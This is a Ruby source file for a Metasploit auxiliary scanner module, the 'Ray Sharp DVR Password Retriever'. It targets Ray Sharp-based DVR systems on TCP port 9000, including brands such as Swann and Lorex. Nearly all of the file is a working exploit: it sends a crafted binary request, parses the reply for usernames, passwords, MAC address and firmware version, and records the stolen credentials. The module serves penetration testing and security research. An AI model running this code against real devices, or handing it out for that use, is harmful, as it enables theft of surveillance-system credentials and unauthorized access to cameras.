113 lines
2.9 KiB
Ruby
113 lines
2.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Ray Sharp DVR Password Retriever',
|
|
'Description' => %q{
|
|
This module takes advantage of a protocol design issue with the
|
|
Ray Sharp based DVR systems. It is possible to retrieve the username and
|
|
password through the TCP service running on port 9000. Other brands using
|
|
this platform and exposing the same issue may include Swann, Lorex,
|
|
Night Owl, Zmodo, URMET, and KGuard Security.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'someluser', # Python script
|
|
'hdm' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options( [ Opt::RPORT(9000) ], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
req =
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
|
|
( "\x00" * 475 )
|
|
|
|
connect
|
|
sock.put(req)
|
|
|
|
buf = ""
|
|
begin
|
|
# Pull data until the socket closes or we time out
|
|
Timeout.timeout(15) do
|
|
loop do
|
|
res = sock.get_once(-1, 1)
|
|
buf << res if res
|
|
end
|
|
end
|
|
rescue ::Timeout::Error
|
|
rescue ::EOFError
|
|
end
|
|
|
|
disconnect
|
|
|
|
info = ""
|
|
mac = nil
|
|
ver = nil
|
|
|
|
creds = {}
|
|
|
|
buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
|
|
# Make sure the two passwords match
|
|
next unless cred[1] == cred[2]
|
|
creds[cred[0]] = cred[1]
|
|
end
|
|
|
|
if creds.keys.length > 0
|
|
creds.keys.sort.each do |user|
|
|
pass = creds[user]
|
|
report_auth_info({
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => 'dvr',
|
|
:duplicate_ok => false,
|
|
:user => user,
|
|
:pass => pass
|
|
})
|
|
info << "(user='#{user}' pass='#{pass}') "
|
|
end
|
|
end
|
|
|
|
# Look for MAC address
|
|
if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
|
|
mac = $1
|
|
end
|
|
|
|
# Look for version
|
|
if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
|
|
ver = $1
|
|
end
|
|
|
|
info << "mac=#{mac} " if mac
|
|
info << "version=#{ver} " if ver
|
|
|
|
return unless (creds.keys.length > 0 or mac or ver)
|
|
|
|
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
|
|
print_good("#{rhost}:#{rport} #{info}")
|
|
end
|
|
|
|
end
|